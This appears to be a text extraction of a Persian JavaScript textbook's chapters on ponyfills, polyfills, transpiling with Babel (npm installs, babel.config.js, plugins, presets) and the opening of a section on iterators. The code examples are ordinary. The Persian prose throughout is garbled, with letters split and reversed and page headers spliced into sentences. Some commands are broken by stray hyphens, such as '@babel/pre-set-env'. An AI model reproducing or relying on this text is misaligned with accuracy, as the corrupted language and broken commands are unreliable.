ز ا ج را خ ش خب ی ار ب :د ن ک ار ج ا ا ر ponyfill دک س پ س و د ن ک تف ا ی ر د collection var isArray = ( function () { if ( Array .isArray) { return Array .isArray; } return function ( collection ) { return Object .prototype.toString.call(collection) === ‘[object Array]’ ; }; })(); ا ر د و خ رظن د روم ponyfill لا اب سن مرو فرپ اب و یگ د ا س ه ب م ی نا وتیم دک ن یا اب ،ا بی ز رایسب ز ا )ر گرو ر م ( دک ی یار ج ا ط ی ح م و م یهدب ی دو رو isArray هب ر گ ا ه ک تروص ن یا ه ب ، م یه د م ا جنا ام ponyfill تروص ن یا ر ی غ ر د و د وشیم ار ج ا if کلا ب لخاد دک د ن ک ی ن ا ب یت شپ Array.isArray 173 مهن شخب ",".دش ده ا و خ ار ج ا isArray ([ 12 ]); // support: Array.isArray([12]) // no-support: Object.prototype.toString.call([12]) === ‘[object Array]’ [ Transpile موهف م ر د ه ک ا ر د و خ رظن د روم یاه سلا ک یتح و ع ب ا وت م ی نا وتیم polyfill ز ا هد افت سا اب هک م ی ناد ی م polyfill یار ب یرا ک ه ا ر ام ا .م ی ن ک هد افت سا د و خ ی اه هژورپ ر د د ناه دش ه ئا ر ا ES ز ا رت د ی دج یاههخس ن یار ج ا ضح م هب نوچ ، د ر ا د ن د وجو ی می دق یاههخس ن یار ب د ی دج هخس ن syntax ن در ک ponyfill ا ی .د وشیم ف قوتم هما نر ب و ه دش ه دها ش م syntax یا طخ دک یاهدک هب یر از ب ا ز ا هد افت سا اب ا ر ES د ی دج یاههخس ن اب ه دش هتشو ن ی اهدک م یتسه رو بج م سپ هک ، د وشیم هتفگ Transpiling لم ع ن یا م ا جنا ه ب هک م ی ن ک لی د بت ES یمی دق یاههخس ن مرف اب .دشابیم Compile و Translate ز ا ی طو ل خم و زور هب یاههخس ن ز ا د و خ ه ما نر ب ه عس وت ه ل ح ر م ی ار ب میا هت س نا وت ام ع ق او ر د Transpile م ا جنا اب ام ا ،م یشاب هتش اد یداریا نودب و عیرس هعس وت ر یسم نآ بو خ تا ن ا ک م ا اب و م ی ن ک هد افت سا ES د ی دج کی ه ک م ی ن ک هض ر ع اه ر گرو ر م طس وت ندش ی ن ا ب یت شپ هغ د غد نت ش اد نودب ا ر د و خ یی ا هن ل و صح م .د وشیم بوس ح م ام ی ار ب transpile م ا جنا یار ب د وجوم یاهر از ب ا تمس ز ا گ رزب فط ل :تسا هد افت سا ل باق ES6 ه خس ن ر د ه ک ع بات ضرف ش ی پ یدو رو ندش transpile ه و حن ز ا ل اثم کی function myFunction ( value = 12 ) { console .log( value ); } myFunction(); // 12 myFunction( 42 ); // 42 یاههخس ن یخر ب ر د ز ا نکم م ام ا ،تسا مهف ل باق و هد ا س رایسب ق و ف دک هک م ی ن کیم ه دها ش م 174 تپی رکسا امک ا ی اه هخ سن ","م ی ن کیم لی د بت ES5 ه ب ا ر رظن د روم دک ، transpiler کی اب سپ ،د و شن ین ا ب یت شپ یمی دق یاه ر گرو ر م :د وب ده ا و خ ری ز مرف ه ب یدک ES5 ه ب transpile م ا جنا ز ا سپ راک یجو رخ و function myFunction () { var value = arguments [ 0 ]!== ( void 0 ) ? arguments [ 0 ]: 12 ; console .log( value ); } ع بات یاهی دو رو ز ا هیا رآ کی ه ک ( arguments هیا رآ ز ا هن ا خ ن یتسخ ن ، دک ه دش لی د بت ه خس ن هک void 0 اب و هداد ر ار ق ی س ر ر ب د روم ا ر ) تسا سرتسد ل باق ع بات ی لخاد scope ر د و دشابیم ر د ا ر ضرف ش ی پ ر ا د ق م ،ن د وب ه د شن فیرعت تروص ر د و هدر ک هس ی ا ق م دشابیم undefined نا م ه .د ن کیم هر ی خذ ر یغتم نآ رسد ر د ه ب ا ر هما نر ب ه عس وت م ا گن ه ر د نآ یاه تیز م و دش ES6 ز ا هد افت سا ه ب عن اق ن ا وتیم یگ د ا س ه ب .داد ح یج رت )د ر اد ا ر ک یتاموت ا یار ج ا یی ا نا وت هب گ یف ن اک م ا جنا اب هک ( ن در ک transpile یار ب م ز لا شرت سگ اب و د ن شابیم بو یاهی ژ ولو نکت ی ای ند ز ا ری ذ پ ا ن ییا دج ی ش خب اه transpiler ه زو ر م ا و ندش ی اهفر ح ی ار ب د ی دج یاهراک و زا س ت س ی ابیم ، ت پ یرکساو اج ف یصوت ل باق ر ی غ و عیرس .م ی ن ک هد افت سا ا ر اهنآ ز ا هد افت سا :دش هداد ح یضوت ش خب ن یا لیاوا ر د ه ک arrow functions ه رابر د رگید ل اثم کی ن ا و ن ع هب const fn = () => 1 ; // converted to var fn = function fn () { return 1 ; }; ه زاج ا ام هب و .دشاب ه د نن ک کم ک د نا وتیم رایسب transpiler ر از ب ا ز ا هد افت سا ه ک م ی ن کیم ه دها ش م .م ی ن ک هد افت سا د و خ ه ما نر ب ر د رسد ر د نودب یگ د ا س ه ب ا ر noitcnuf worra د نن ام ی ن ا ک م ا ده د [ transpile ی اهر ازبا ا ر transpile م ا جنا ه ک ی ی اهر از ب ا اب هک تسا ه دی س ر نآ ت قو transpile م و ه فم اب ی ی ا ن شآ ز ا سپ .م ی ن کیم ه راش ا اه transpiler نیرتفورع م هب ری ز ر د ،می وش ا ن شآ ،د ن ر اد ه د ه ع ر ب 175 مهن شخب "," .ت پ یرکساو اج ی ار ب زاب نتم و نا گیا ر رلی اپماک کی : Babel .دش ه ئا ر ا ل گوگ فر ط ز ا ه ک ES6 یار ب بو بح م transpiler نیلو ا : Traceur ح یضوت می ر اد د ص ق زی ن ام و دشابیم traceur ز ا رتلا اب ت یبو بح م و هد افت سا ن از یم ظ ا ح ل هب babel یار ب بس ا ن م یاههخس ن یار ب ES6+ ه دش هتشو ن ی اهدک لی د بت و babel اب هژورپ عور ش ه رابر د یل ک .م یشاب هتش اد ا ر ر گرو ر م تفرش ی پ اب هک ده دی م شی ا من 2018 ل ا س ر د ا ر babel هتسه ی گت فه د و لناد دا د عت ق و ف لک ش .د ر اد ید و ع ص ه ر ا و م ه ی ر یسم و هد وب هارم ه ی ر یگ مش چ [ Babel ز ا ه دا فت س ا یای ند ر د ر از ب ا نیا در کراک ام ا ، د نت ش ا د ن ر از ب ا نیا یار ب ی ب لاج د ا ی ز مسا ب اخت نا ه ک ت فگ ن ا وتیم .ت سه ر ا ذگ ر ی ث ات و مه م ا ع ق او ت پ یرکساو اج ی لعف ر د ار ج ا ل باق هک یدک هب ا ر ES6+ مرف ه ب ه دش هتشو ن ی اهدک م ی نا وتیم babel ز ا هد افت سا اب یاهدک syntax لی د بت د نی آ رف ل ماش ندش لی د بت نیا ،م ی ن ک لی د بت ، دشابی می دق و ی لعف ی اه ر گرو ر م .دشابیم د ی دج یاهیگژ یو ن در ک polyfill هولاع ب ه دش هتشو ن ،دیشاب هتش اد بصن د و خ مت سی س یو ر ر ب ا ر 3 node.js ا دتب ا ت س ی ابیم babel ز ا هد افت سا یار ب د و خ ل ماع مت سی س یار ب ا ر LTS هخس ن نیرخ آ و هدر ک ه ع ج ار م nodejs تی اسبو س ر د آ هب دی نا وتیم 4 .دی ن ک بصن و تف ا ی ر د 3 https://nodejs.org/en/ babel تن مویک اد ز ا ه دش هت فر گ ر ب 4 176 تپی رکسا امک ا ی اه هخ سن ","بصن ز ا نا ن ی م ط ا یار ب command prompt ا ی terminal هرجنپ ن در ک زاب اب nodejs بصن ز ا سپ ا ر مت سی س یو ر ر ب ه دش بصن nodejs هخس ن ات دی ن ک پی ات node -v روت سد کی node ل ماک ن د وب .د ی ر اد nodejs هب ی سرتسد bash ط ی ح م قیر ط ز ا ه ک د ی وش نئ مط م و هدر ک ه دها ش م رتش یب ( parcel ا ی )هژورپ یار ب (کپ بو د نن ام bundler ج ی کپ کی ز ا babel ز ا هد افت سا یار ب ار ثک ا د ا ی ا ر اهر از ب ا نیا نودب babel ز ا هد افت سا را ک ه ا ر ش خب ن یا ر د ام . د وشیم هد افت سا) اه ج ی کپ یار ب :دی ن ک ار ج ا ل ا ن یم رت ط ی ح م ر د babel ز ا هد افت سا و بصن یار ب ری ز یاهدک عور ش ی ار ب . میر یگیم npm init -y npm install --save-dev @babel/core @babel/cli @babel/pre-set-env npm install --save @babel/polyfill یار ب و د ر اد م ا ن npm هک د و خ فورع م رج ی ن م ج ی کپ ز ا هد افت سا اب nodejs ت ا روت سد نیا یار ج ا اب بصن یلعف ر یسم ر د ا ر babel زای ن د روم هیلو ا ی اه ج ی کپ ،دو ریم راک هب node یاه ج ی کپ تیری دم .د وشیم هت خ ا س node_modules ن ا و ن ع اب ی اه شو پ ،بصن تای لم ع ن یا م ا جنا یار ب و د ن کیم :دیه د ر ار ق نآ ر د ا ر ری ز دک و هت خ ا س babel.config.js م ا ن اب لی ا ف کی const presets = [ [ “@babel/env” , { targets: { edge: “17” , firefox: “60” , chrome: “67” , safari: “11.1” , }, useBuiltIns: “usage” , }, ], ]; module .exports = { presets }; یاه هخس ن دی نا وتیم ا م ش و د ن کیم ی فرع م نآ هب ا ر babel یار ج ا یار ب هیلو ا تا م ی ظنت لی ا ف نیا 177 مهن شخب ","ف ده ر گرو ر م اب راگزا س ه خس ن ه ب ا م ش یاهدک ات دیه د هئا ر ا نآ هب ا ر د و خ رظن د روم ف ده یاه ر گرو ر م .د وش لی د بت د ی زاسب src م ا ن ه ب هشو پ کی راک عور ش ی ار ب ، تسا ه دی س ر م ا متا ه ب babel م ی ظنت یار ب ام راک ا بیرقت در کراک ت ست ی ار ب ل اثم ی ار ب ،دیس ی و ن ب نآ لخاد ا ر د و خ ه ما نر ب یاه س رو س لا ک د ع ب هب ن یا ز ا ات :دیس ی و ن ب test . js م ا ن ه ب ی لی ا ف ب لاق ر د ا ر دش ه ئا ر ا transpile یفرع م ی ار ب هک یلاثم نا م ه babel //./src/test.js function myFunction ( value = 12 ) { console .log( value ); } myFunction(); // 12 myFunction( 42 ); // 42 دی ن ک د ا جیا dist م ا ن ه ب رگید ه شو پ کی لی ا ف نیا لی د بت یار ب لی ا ف نیا ن در ک هر ی خذ و تخ ا س ز ا سپ :دی ن ک ار ج ا ل ا ن یم رت ر د ا ر ری ز دک س پ س و د ن وش لقتن م ر یسم نآ هب ه دش لی د بت ی اه لی ا ف ات ./node_modules/.bin/babel src --out-dir dist گ یف ن اک لی ا ف ر د ه دش ه ئا ر ا تا م ی ظنت اب ES5 دک هب src ر یسم ر د د وجوم یاهدک راک ن یا م ا جنا اب ع وضوم ن یا ندش م ا جنا ه و حن ز ا یت ای ئز ج هم ادا ر د ، د نر یگیم ر ار ق dist هشو پ ر یسم ر د و ه دش لی د بت .م ی ن کیم ر ک ذ ا ر ه دش ار ج ا ت ا روت سد د روم ر د یی اههت کن و [ babel ی اه ل وژام یاه لوژ ام ، فلت خم یاه ف ده ی ار ب babel ج ی کپ ز ا هد افت سا ر د ی گ د ا س و ف ا طعنا د ا جیا یار ب سرتسد ل باق npm یور ر ب @ babel اب ه د ن وش عور ش scope ر د ه ک د ناه دش یح ار ط یف لت خم babel/ اب هک ، می ز ادرپی م cli و core یاه لوژ ام هب ش خب ن یا ر د ) د ع ب هب 7 ه خس ن ز ا( . د ن شابیم .د ن شابیم ی سرتسد و بصن ل باق @ babel/core و @ cli core لوژ ام :د وشیم بصن د ع ب روت سد اب هک دشابیم م ز لا ی اه لی د بت م ا جنا یار ب 5 babel هتسه لوژ ام ن یا 5 https://babeljs.io/docs/en/babel-core 178 تپی رکسا امک ا ی اه هخ سن ","npm install --save-dev @babel/core .دشابیم ه عس وت ط ی ح م ر د هد افت سا یار ب طقف ج ی کپ هر ی خذ ینع م هب --dev-flag، save دک ن یا ر د .ت ش اد ده ا وخ ن د وجو ه ن اخباتک ن یا ز ا یرثا یی ا هن ی جو رخ ط ی ح م ر د ه ک ی اهن وگ هب یار ب نآ ز ا و هدر ک require ت پ یرکساو اج یاهدک ر د ا ر نآ ن ا وتیم یتح ا ر هب لوژ ام ن یا بصن اب :در ک هد افت سا رظن د روم ت لای د بت م ا جنا const babel = require ( “@babel/core” ); babel.transform( “code” , optionsObject); و ت پ یرکساو اج دک ر د نآ ی نا و خارف اب babel هتسه ز ا هد افت سا ه ک دشابیم ی نع م ن ی دب ق و ف دک نآ یور ر ب transform دتم ینا و خارف اب هک دشابیم لی د بت م ا جنا یار ب object babel ز ا هد افت سا اتدعاق بخ .د وشیم م ا جنا رت م ا را پ ن ا و ن ع هب نآ هب ط وب ر م تا م ی ظنت و رظن د روم دک ن داد س ا پ و کی ه ب زای ن سپ ، دشاب روآ ب ا ذع تسا نکم م م ا خ لک ش هب core ز ا هد افت سا ه ک د ی دش هجوتم .د وشیم س اسح ا ت لای د بت نیا م ا جنا یار ب یل او ژ یو ط ی ح م CLI لوژ ام ر د ،تسا هد وب اههما نر ب هب ط وب ر م روم ا م ا جنا یار ب ب ا ذج یاه ط ی ح م ز ا یکی ه ر ا و م ه 6 CLI ط ی ح م هب زای ن د نی آ رف نیا م ا جنا یار ب . د و من هد افت سا transpile یار ب ن ا وتیم ط ی ح م ن یا ز ا ،ز ی ن babel د روم :ل اثم .دشابیم 7 @babel/cli ن د وب بصن npm install --save-dev @babel/core @babel/cli ./node_modules/.bin/babel src --out-dir dist ط وب ر م ی رنی اب لی ا ف ه ب ./node_modules/.bin/ ر یسم ز ا babel لی ا ف ه ب یه د س ر د آ اب لا اب دک ر د د وجوم یاه لی ا ف د روم ن یا ر د ه ک ، م یه د س ا پ نآ هب ا ر رظن د روم تا م ی ظنت م ی نا وتیم و م ی سر یم cli هب نودب ، میا هتفرگن رظن ر د شیار ب ی لی د بت چ یه نوچ ام ا ، د ن کیم لقتن م dist هشو پ ه ب ا ر src ر یسم ر د .د وشیم لقتن م ناس کی تروص هب و ندش لی د بت 6 Command Line Interface (CLI) 7 https://babeljs.io/docs/en/babel-cli 179 مهن شخب ","یار ب --help ز ا دی نا وتیم یگ د ا س ه ب ، میاهدر ک هد افت سا ی جو رخ ر یسم نیی عت یار ب --out-dir ز ا ام اه در براک ر ثک ا یار ب ت ا روت سد نیرتمه م ام ا ، د یر ی گ ب کم ک هد افت سا ل باق ت ا روت سد یق بام شی ا من .دشابیم --plugins و --presets [ Plugins & Presets ر د ، د ن شابیم سرتسد ل باق ی ی اهنیگ لاپ ب لاق ر د م یه د م ا جنا م یه ا و خی م هک ی ی اه لی د بت م ا جنا ه و حن ر د نآ هب هک د نت سه ی ک چوک ت پ یرکساو اج یاه لی ا ف babel یاهنیگ لاپ تق ی ق ح رظن د روم ت لای د بت م ا جنا یار ب و هتشو ن ا ر د و خ ن یگ لاپ ه ک نا ک م ا نیا یت ح ،د نن کیم کم ک اه لی د بت :ل ثم ی ربتع م یاهنیگ لاپ ه ب تسا رته ب ES5 ه ب +ES2015 لی د بت یار ب ، د ر اد د وجو زی ن در ک هد افت سا .دی ن ک د ا مت ع ا arrow ع ب ا وت ی ار ب @ babel/plugin-transform-arrow-functions npm install --save-dev @babel/plugin-transform-arrow-func-tions ./node_modules/.bin/babel src --out-dir lib --plugins=@ babel/plugin-transform-arrow-functions :دی ن ک لی د بت ES5 ه ب ا ر ری ز دک د نن ام ی ی اهدک دی نا وتیم رظن د روم نیگ لاپ بصن ز ا سپ const fn = () => 1 ; // converted to var fn = function fn () { return 1 ; }; و هدر ک ل ا م ع ا هت شو ن ی اهدک یور ر ب ا ر رظن د روم نیگ لاپ ن ا وتیم یگ د ا س ه ب هک م ی ن کیم ه دها ش م هن اگ ا دج نیگ لاپ کی د ی اب می ر اد رظن دم هک یگژ یو ر ه ی ار ب ا ی آ ام ا ،م ی ن ک دیلوت ا ر د و خ رظن دم یجو رخ ،د وشی من د ا هنش ی پ م ه ن ا و ن ع چ یه هب و د س ری من رظن ه ب ی ح ی ح ص ل ح ها ر ؟ م ی ن ک هد افت سا و بصن ز ا ه عو مج م کی هک م ی ن کیم هد افت سا preset م ا ن ه ب ی ن ا ک م ا ز ا ر م ا نیا م ا جنا یار ب تق ی ق ح ر د .تسا ه دش نیی عت لب ق ز ا ی اهنیگ لاپ 180 تپی رکسا امک ا ی اه هخ سن ","preset دی نا وتیم زی ن ا م ش و د ر اد د وجو زی ن فلت خم یاه preset د ا جیا و ی زا س یص خش نا ک م ا نیی عت ش ی پ ز ا رو هش م preset کی ز ی ن babel ام ا ، دی ن ک هد افت سا نآ ز ا و دی ن ک دیلوت ور نات د و خ .د و من هد افت سا ن ا وتیم اه لی د بت ید اع روم ا م ا جنا یار ب هک د ر اد env م ا ن ه ب ه دش :دشابیم ری ز لک ش هب preset نیا ز ا هد افت سا و بصن npm install --save-dev @babel/preset-env ./node_modules/.bin/babel src --out-dir lib --presets=@ babel/env د و خ رظن د روم preset و میا هد و من هد افت سا core ز ا --presets ناموگرآ ز ا ه ک م ی ن کیم ه دها ش م نیا ز ا هد افت سا اب . در یگ م ا جنا نآ ز ا هد افت سا اب م ز لا ی اه لی د بت ه ی ل ک ات میا هد و من یفرع م core هب ا ر هد افت سا ،رظن د روم یاهدک هب ل ا م ع ا یار ب ES2015+ لی د بت م ا جنا یار ب م ز لا ی اهنیگ لاپ م ا مت preset یاه ر گرو ر م ر د ح ی ح ص ی ار ج ا یار ب اهدک لی د بت یار ب ا ر ام رظن د روم ف ده یگ د ا س ه ب و د ن وشیم یتا م ی ظنت د ننا وتیم اه preset و د وشی من متخ اج نی م ه هب هی ض ق ام ا .د ن زا سی م ققح م ا ر ف ده هم ادا ر د ه ک د نی ا من هد افت سا transpile م ا جنا ه و حن یار ب ی یار ج ا روت سد ن ا و ن ع هب نآ ز ا و تف ا ی ر د ا ر .د وشیم ی س ر ر ب رتل ماک [ babel ت ا می ظن ت ل یاف نکم م هک Prettier ا ی ESLint د نن ام رگید ی اهر از ب ا د نن ا م ه و د ر اد گ یف ن اک ت ی ل باق babel ص و صخ نیا ر د یی و جت سج ا مت ح د وشیم هیصوت دیتسی ن ا ن شآ م ه ر گ ا( دیشاب ا ن شآ اهنآ اب تسا راک ن یا م ا جنا یار ب ، م یه د هئا ر ا نآ هب ار ج ا یار ب ا ر د و خ رظن د روم تا م ی ظنت م ی نا وت یم ، ) دیه د م ا جنا د و خ طس وت هک اهنآ ز ا یکی ه ب ا جنیا ر د ام هک د ر اد د وجو babel یار ب 8ید د عت م یاه کبس ز ی ن .می ز ادرپی م تسا ه دش هیصوت زی ن babel د ا جیا هژورپ تور ر د babel.config.js م ا ن ه ب لی ا ف کی ا دتب ا رظن د روم تا م ی ظنت م ا جنا عور ش ی ار ب :دیس ی و ن ب نآ لخاد ر د ا ر ید ع ب دک ه کت ر د ه دش ر ک ذ تا م ی ظنت تا ی وت ح م و دی ن ک 8 https://babeljs.io/docs/en/configuration 181 مهن شخب ","const presets = [ [ “@babel/env” , { targets: { edge: “17” , firefox: “60” , chrome: “67” , safari: “11.1” , }, }, ], ]; module .exports = { presets }; یار ب هک د ن کیم د ول ا ر ی ی اهنیگ لاپ ا هنت transpile م ا جنا یار ب preset env تا م ی ظنت نیا ل ا م ع ا اب دک تخ ا س ر د ا ر ام یتح ا ر هب هک ی ی ا بی ز و هد ا س تا م ی ظنت ، د ن شاب زای ن د روم ف ده یاه ر گرو ر م ن یا .د ن ا س ریم یرا ی فلت خم یاه ر گرو ر م ر د ار ج ا ل باق [ babel و اه Polyfill ا ی Promise , Weakmap د نن ام +ES2015 ی اهیگژ یو م ا مت ز ا هد افت سا و اه لی د بت م ا جنا یار ب یر ا ذگراب د و خ ی اهدک ی ا دتب ا ر د ا ر د ر ا وم ن یا ه ب ط وب ر م یاه polyfill ت س ی ابیم …و generic ع ب ا وت ا ر transpile تای لم ع babel هکنیا ر طاخب هک میاهداد ح یضوت رتش ی پ ا ر ر م ا نیا ل یل د( میدر کیم babel/ اب ن ا وتیم ام ا ،)ت سه زای ن ص ا خ ی اه سلا ک و ع ب ا وت ی ار ب اه polyfill و ده دی م م ا جنا :م ی ن کیم بصن ا ر ج ی کپ بصن ا دتب ا سپ ،در ک ل ح ا ر د ر ا وم ن یا @polyfill npm install --save @babel/polyfill و می ر اد ج ایتح ا ز ی ن dev ط ی ح م ز ا ج را خ ر د اه polyfill نیا ه ب نوچ ، مید ز --save هک دی ن ک ت ق د ز ا هد افت سا یار ب و د ن شاب هتش اد د وجو زی ن polyfill ی اهدک ، ه دش هت فر گ یجو رخ لی ا ف ر د ت س ی ابیم 182 تپی رکسا امک ا ی اه هخ سن ",".م ی ن کیم هد افت سا --dev-save ز ا هعس وت ط ی ح م ر د زای ن د روم یاهه ن اخباتک اب م ی نا وتیم هک می ر اد useBuiltIns م ا ن ه ب یبو خ هنیز گ م ی ن کیم هد افت سا preset env ز ا نوچ ل ا م ع ا ز ا سپ ،م ی ن ک هد افت سا ز ی ن babel یاه polyfill ع و مج م ز ا ی گ د ا س ه ب usage یور ر ب نآ م ی ظنت :د وشیم ری ز لک ش هب babel تا م ی ظنت لی ا ف هنیز گ ن یا const presets = [ [ “@babel/env” , { targets: { edge: “17” , firefox: “60” , chrome: “67” , safari: “11.1” , }, useBuiltIns: “usage” , }, ], ]; module .exports = { presets }; و اه polyfill م ا مت ه ک د ن کیم لی د بت یاهن وگ هب ا ر هما نر ب ه دش هتشو ن ی اهدک babel تا م ی ظنت نیا اب د ن کیم قی رزت هما نر ب هب ا ر ی ی اهدک ا هنت و دشاب هتش اد ا ر ف ده یاه ر گرو ر م زای ن د روم یاهید ن مزای ن :ل اثم ی ار ب .د ن شابیم اهدک ح ی ح ص ی ار ج ا زای ن د روم هک Promise .resolve().finally(); :د وشیم لی د بت ری ز دک هب میا هداد babel هب هک یتا م ی ظنت ل یل د ه ب ق و ف دک require ( “core-js/modules/es.promise.finally” ); Promise .resolve().finally(); ین ا ب یت شپ Promise.prototype.finally ز ا edge ر گرو ر م 17 ه خس ن ه ک تسا ل یل د نیا ه ب ق افت ا نیا 183 مهن شخب ","رظن د روم دک ه کت یار ج ا ز ا لب ق ،هطوب ر م یاهدک ن در ک یر ا ذگراب اب babel ش خب ن یا ر د و د ن کی من .د ن کیم م ه ارف ا ر رظن د روم دک native یار ج ا ه ب هی ب ش ی درکیو ر یاه polyfill م ا مت مید وب رو بج م ، میدر کی من هد افت سا useBuiltIns تا م ی ظنت اب preset env ز ا ر گ ا .در یگ ر ار ق میر یگیم یجو رخ ه ک یدک ی ا دتب ا ر د ات م ی ن ک require د و خ یل ص ا لی ا ف ر د را بکی ا ر د وجوم هد افت سا اب ص و صخ ه ب transpile هب ع ج ا ر یدیفم یلو رصت خم تا ح یضوت دش ی عس ش خب ن یا ر د تا ح یضوت ن یا و د ر اد ید ا ی ز ثح ب یاج ی ی ا هنت ه ب ب لا ط م ز ا کی ر ه ام ا ،د وش هداد ح یضوت babel ز ا ا ر babel گ یف ن اک ن ا وتیم ه ک یلاح ر د ،د وب babel در کراک ه و حن یر یگ د ا ی یار ب ه ی ا پ لک ش هب یعو ر ش در یگیم ر ار ق نامرایت خا ر د ه ک ی د د عت م تا ن ا ک م ا ز ا و داد م ا جنا یرگید bundler ا ی webpack اب ت شو ن ا پ کن یل هب ES6 ی اههما نر ب ن در ک deploy ص و صخ ر د رتش یب ه ع لا ط م ی ار ب . در ک هد افت سا 9 .د وش ه ع ج ار م 9 https://leanpub.com/setting-up-es6/read#ch_deploying-es6 184 تپی رکسا امک ا ی اه هخ سن ","دوری م ر ا ظتنا شخب نیا ه ع لا ط م زا س پ .دی ن ک تبح ص نآ ه چ خ ی رات و ت پ یرکس ا م ک ا د روم ر د .دیشاب طل سم ا ر ه دش ر ک ذ ی گژ یو و نآ 6 ه خس ن ص و ص خب ES یاههخس ن .دیس ی و ن ب polyfill ص ا خ ی گژ یو کی یار ب دی نا وتب و هد وب هجوتم ا ر polyfill م و ه فم .دی ن ک ر ک ذ ا ر polyfill ه ب تب س ن ponyfill تیز م هد و من ک ر د لا ماک ا ر نآ ندش م ا جنا قطن م و دی ن ک هد افت سا closure ز ا ponyfill نت شو ن یار ب .دیشاب .دیه د حر ش ا ر نآ در کراک ه و حن دی نا وتب و دیشاب هجوتم ا ر transpile م و ه فم .دیشاب ا ن شآ transpile یار ب د وجوم یاهر از ب ا اب .دیه د حر ش ا ر اهنآ یاهتوافت و هتش اد یت اع لا ط ا babel ر د presets , plugins د روم ر د ت پ یرکس ا م ک ا 6 ه خس ن اب ی اهژورپ نآ ز ا هد افت سا اب و هداد ح یضوت babel در کراک د روم ر د دی نا وتب .دی ن ک ار ج ا و فیرعت رظن د روم یاه ر گرو ر م اب راگزا س و 185 مهن شخب ","186 تپی رکسا امک ا ی اه هخ سن ","مه د شخب اه Generator و Iterator ∞ :شخب فادها iterator موه فم اب ییانشآ iterate ل باق ی ا ه object نت خانش نآ دا ج ی ا و ند و ب iterable قیم ع کرد ا ه iterator اب ا هن آ ط ا بترا کرد و ا هgenerator اب ییانشآ هرو ظنم ص اخ دصا ق م یا رب ا هgenerator ز ا هد افتس ا ا هن آ ی د ی لک میه افم و ا هgenerator قیم ع کرد ","[ اه Iterator ا ر اهنآ هک تسا نیا داد هئا ر ا اه iterator یار ب ن ا وتیم هک ی اهد ا س فیرعت ت پ یرکساو اج ر د تا ن ا ک م ا ه ک ت س ناد اه هداد ز ا یاه عو مج م یور ر ب ه قل ح د ا جیا و ر ارکت ز ا توافتم کبس کی ن ا وتیم .ده دی م ر ار ق رایت خا ر د ا ر ی ب لاج کی ز ا ، د ن کیم م ه ارف ا ر هعو مج م کی یو ر ر ب ) ر ارکت( iterate یار ب یف لت خم تا ن ا ک م ا ت پ یرکساو اج ر ب ر ارکت ه و حن ز ا یتو افتم ع و ن اه generator و اه Iterator .رتل ی ف و map ات هت فر گ for هد ا س هقل ح .د نا هتفر گ ر ار ق نابز هتسه یور ر ب ا م ی قت سم هک د نت سه هعو مج م کی یو ر ز ا سپ ا ر یت ش گزاب ر ا د ق م کی یل ک روط هب ا ی و ار ج ا ز ا ب یت رت کی ه ک تسا object کی iterator لکتورپ ز ا ه ک ی object ر ه ، م ی ن ک نایب رتص ا خ لک ش هب م یه ا وخب ر گ ا ا ی ، د ن کیم م ه ارف د و خ همت ا خ .تسا iterator ،د ن ک ت ی ع بات 1 Iterator [ iteratable ل ک ت ورپ ماز ل ا و د ن کیم نیی عت ا ر ی ن ی نا وق ، object کی ن د وب iterate ل باق ی س ر ر ب ی ار ب لکتورپ نیا دتم . تسا هدر ب ث ر ا نآ ز ا یلعف object هک ی ی اه object ز ا یکی ا ی رظن د روم object هک د ن کیم 1 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols 188 اه Generator و Iterator ","هک دتم ن یا .) دشاب هتش اد @@iterator م ا ن ه ب یگژ یو کی( دشاب هدر ک ار ج ا ا ر Symbol.iterator کی ن د وب iterate ل باق و ن در ک iterate س ا سا دش ده ا و خ هداد ح یضوت ل ماک لک ش هب هم ادا ر د iterate ل باق ه قل ح ن یا اب هک م ه ی ی اه object م ا مت و تسا for..of د نن ام ی اهقل ح طس وت object .د نن کیم یو ر ی پ لکتورپ نیا ز ا ز ی ن د نت سه [ iterator ل ک ت ورپ لک ش ن یا ه ب . د روآیم م ه ارف ا ر هعو مج م یور ر ب ر ارکت یار ب د ر ا د ن ات سا شو ر کی لکتورپ نیا راب ر ه اب هک ده د تش گزاب object کی ر د next م ا ن اب یدتم ت س ی ابیم رظن د روم هعو مج م هک ت س ی اب یم next دتم ی ار ج ا ر ه . داد م ا جنا هخر چ کی رظن د روم هعو مج م یور ر ب ن ا وتب نآ ی ار ج ا م ا متا ه ب ز ا علا ط ا یار ب done یگژ یو ه ک ده د تش گزاب value و done یاهیگژ یو اب object کی ر ب ار ب done ر ا د ق م ر گ ا .د وشیم هد افت سا ا ر ه خر چ ر ه ر د ی راج ر ا د ق م value یگژ یو و هخر چ ندی س ر د د ج م ی ار ج ا هج یت ن و داد م ا جنا رگید هخر چ کی next دتم د د ج م ی ار ج ا اب ن ا وتیم ،دشاب false ا ر هعو مج م م ا متا ات ه خر چ هم ادا نا ک م ا ه ک د وب ده ا و خ ت م رف ن ی م ه هب د ر ا د ن ات سا object کی ز ی ن .د روآیم م ه ارف var myIterator = { next: function(){ // should return sth like { done: false, value:2 } }, [Symbol.iterator]: function() { return this;} } ید ا ی ز هد افت سا د روم و ه دش ر یگ ارف ا عیرس ، رایسب در براک ر طاخب ام ا دش ی فرع م ES6 ر د ی گژ یو نیا یدر براک ل اثم د ن چ اب و ه دش ا ن شآ یگژ یو نیا م و ه فم اب لا ماک م یه ا و خی م ش خب ن یا ر د .تفر گ ر ار ق .م ی ن ک هد افت سا نآ ز ا [ Iterator ی فر ع م ن د وب زای ن ل یل د و اه iterator ق یق د م و ه فم ، هد ا س و ل ماک یلاثم ه ئا ر ا اب دیه د ه زاج ا ا دتب ا ن ی م ه ر د 189 مه د شخب ","ت پ یرکساو اج ش زومآ یاهی سلا ک م ه ت سیل ی ار ب ه یا رآ کی دی ن ک رو صت . 2 م یه د ح یضوت ا ر اهنآ :د ناه دش یه د ر ا د ق م classMates ت با ث ر د ری ز مرف ه ب هک د ی ر اد const classMates = [ ‘Alireza masomi’ , ‘Mohammad ahmadi’ , ‘Reza shirdel’ , ‘Farhad yosefian’ ]; یدرکیو ر ،دی ن ک پ اچ لو دج کی ر د ا ر د و خ یسلا ک م ه دارفا م ا مت ت سیل ات د وشیم هت سا و خ ا م ش ز ا یاه شو ر ز ا هد افت سا اب ه قل ح د ا جیا ا م ش خس ا پ لا ا مت ح ا ؟ تسا تروص هچ هب ت ش اد دیه ا و خ ه ک .دشاب یم رظن د روم ه یا رآ یور ر ب … ا ی for , while , for in ز ا هد افت سا اب م یتسه ا ن شآ هک ن د ز ه قل ح :دی ن ک هد افت سا ا ر ری ز یاه شو ر ز ا یکی تسا نکم م ، ل اثم ی ار ب // regular for loop for ( var i 